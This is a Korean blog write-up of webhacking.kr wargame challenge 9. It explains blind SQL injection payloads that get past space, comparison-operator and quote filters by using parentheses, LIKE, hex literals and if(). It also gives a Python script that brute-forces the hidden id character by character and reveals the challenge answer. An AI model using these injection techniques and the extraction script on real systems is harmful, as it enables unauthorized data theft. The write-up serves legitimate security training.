[webhacking.kr] 9번 문제 풀이[Blind SQL Injection]

3 분 소요

💡 Webhacking.kr challenge(old) 9번 문제에 대한 풀이입니다.

문제

문제 화면 & 문제 분석

처음 접속하면 그림처럼 1,2,3 페이지로 넘어갈 수 있게 되어 있습니다.

image

1,2,3을 각각 눌러보면 다음과 같은 화면이 나옵니다.

image

3번 페이지를 보니 no=3일때의 id를 구하면 되는 문제 입니다.

개발자 모드를 통한 소스코드나, 쿠키 값을 봐도 별다른 특이사항이 없으므로 blind sql injection 문제로 추정됩니다.

위의 내용을 토대로 테스트를 진행해 보기위해 로컬에 DB를 다음과 같이 구성했습니다.

image

문제 풀이

풀이 설계

페이지 구성이 간단해서 화면에 ‘Apple’, ‘Banana’를 띄워주는 부분에서 호출되는 SQL문은 다음과 같다고 추론할 수 있습니다.

 select id from chall9 where no = {}

따라서 no={}부분에 mysql 함수들을 이용해서 나오는 결과에 따라서 출력되는 id 값을 통해서 함수들의 값을 확인할 수 있습니다.

예를들어

 select id from chall9 where no = 1=1

을 입력한다면 1=1 -> 1 이기 때문에 화면에는

 select id from chall9 where no=1 

의 결과 값인 Apple이 나올 것입니다.

본 문제에서는 = 문자가 필터링 되어 있어서 테스트를 다음과 같이 수행해 봤습니다.

image

image

다음과 같이 함수의 결과가 각각 1,2 이기 때문에 화면에 no=1인 apple과 no=2인 banana가 출력되었습니다.

필터링 우회

우선 이번 문제는 필터링이 생각보다 많이 되어 있었습니다. 제가 생각한 대부분의 문자가 필터링 되어 있었는데 그중 가장 우회하기 힘든 것은 공백필터링과, 비교연산자 (‘=’,’<’,’>’)필터링 그리고 문자열 필터링(‘) 이었습니다.

첫번째로 공백문자(%20,%09,%0a)가 모두 필터링 되어 있었기 때문에 여러 함수들을 사용하기 위해서는 다음처럼 ‘(‘, ‘)’를 이용해서 사용해야 했습니다.

image

두번째로, 단순 비교연산을 하기 위해 필요한 연산자들이 모두 필터링 되어 있어서 이를 우회하기 위해서 like 함수를 사용했습니다. 그리고 마지막으로 like 를 사용하려면 다음처럼 사용이 가능한데

    select substr('admin',1,1) like 'a'

image

(‘) 세미콜론이 필터링 되어 있어서 다음처럼 0x61같이 hex값으로 우회를 했습니다.

image

그리고 이번 문제에서 인젝션을 수행하기 위해서는 다음의 개념을 정확하게 이해해야 합니다.

우선 현재 테이블에 있는 정보가 다음과 같다고 할때,

id no
apple 1
banana 2
secret_word 3

아래 sql문이 어떻게 동작하는지 살펴보겠습니다.

  select id from chall9 where no = (length(id)=5);

우선 위의 쿼리문을 실행하면 다음과 같이 ‘apple’이 나옵니다.

image

그러면 다음 sql 문은 어떻게 동작할까요? sql문이 익숙하지 않으신 분은 아마 ‘banana’가 나올거라고 생각할 수도 있는데 결과는 아무것도 출력되지 않습니다.

  select id from chall9 where no = (length(id)=6);

image

이를 이해하기 위해서는 위의 쿼리문이 각각의 열에 대해서 다 다르게 작동된다는 것을 알아야 합니다. 먼저 length(id)=5 인경우에 대해서는 각각의 열에서 쿼리가 다음과 같이 변환됩니다.

  apple : length(id) = 5  --> 1
  select id from chall9 where no = 1
  --> apple의 no = 1이기 때문에 조건을 만족하여 출력

  banana : length(id) = 5  --> 0
  select id from chall9 where no = 0
  --> banana의 no = 2이기 때문에 출력되지 않음

  secret_word : length(id) =5 --> 0
  select id from chall9 where no = 0
  --> secret_word의 no = 3이기 때문에 출력되지 않음 

같은 방식으로 length(id)=6인 경우에는 다음과 같이 1차적인 연산이 수행됩니다.

image

그 다음은 3개의 열에 각각

  apple : select id from chall9 where no =0;

  banana: select id from chall9 where no =1;
  
  secret_word : select id from chall9 whrer no=0;

이렇게 나오게 됩니다. 여기까지만 봤을때, banana의 경우 출력값이 select id from chall9 where no =1이기 때문에 그렇다면 apple이 결과로 나오는 건가? 라고 생각할 수도 있지만, no = 1이 나올때는 length(id) = 6이기 때문에[id:banana인 경우] 1이 나온것이라서 이는 논리적으로 맞지 않습니다. 그래서 length(id) = 6인 banana값을 쿼리문을 통해서 찾고 싶다면 다음과 같은 방법을 사용해 줘야 합니다.

  select id from chall9 where no = if(length(id)=6,2,0);

이렇게 된다면 length(id) = 6이 참이라면, if문에 의해서 결과값이 2가 되며 결과적으로는 ‘banana’열은

  select id from chall9 where no = 2

가 되게 됩니다.

image

위의 개념들을 다 정리하고 난 후 파이썬 코드를 작성하여 자동화 시켰습니다.


먼저 id의 길이를 알아내는 쿼리 입니다. 좀전에 설명했던 개념대로 if(length(id)like($길이),3,0) 형태로 쿼리를 작성해 줬습니다.

    url = "https://webhacking.kr/challenge/web-09/index.php?no="
    params = 'if(length(id)like({}),3,0)'
    TRUE_FLAG = 'Secret'

    # password의 길이를 구하는 쿼리
    for i in range(15):
        request_url = url + params.format(i)
        response = requests.get(request_url)
        if(TRUE_FLAG in response.text):
            print("id's length : " + str(i))

그다음은 비밀번호의 길이만큼 substr을 이용하여 한 글자씩 알아내는 쿼리입니다. 맨 아래의 실행 결과를 보면 한 글자씩 a,b,c,d, … 이렇게 비교를 해가면서 결과를 비교하는 과정입니다.

    password = ''
    for i in range(1,12):
        for j in range(65,127):
            params = 'if(substr(id,{},1)like({}),3,0)'.format(i,hex(j))
            print(params)
            request_url = url + params
            response = requests.get(request_url)
            if(TRUE_FLAG in response.text):
                print('find {}st character : {}'.format(i,chr(j)))
                password += chr(j)
                break

최종 실행결과는 다음과 같이 나왔으며, 비밀번호인 ‘alsrkswhaql’를 입력해 주면 문제가 풀립니다.

image

image

댓글남기기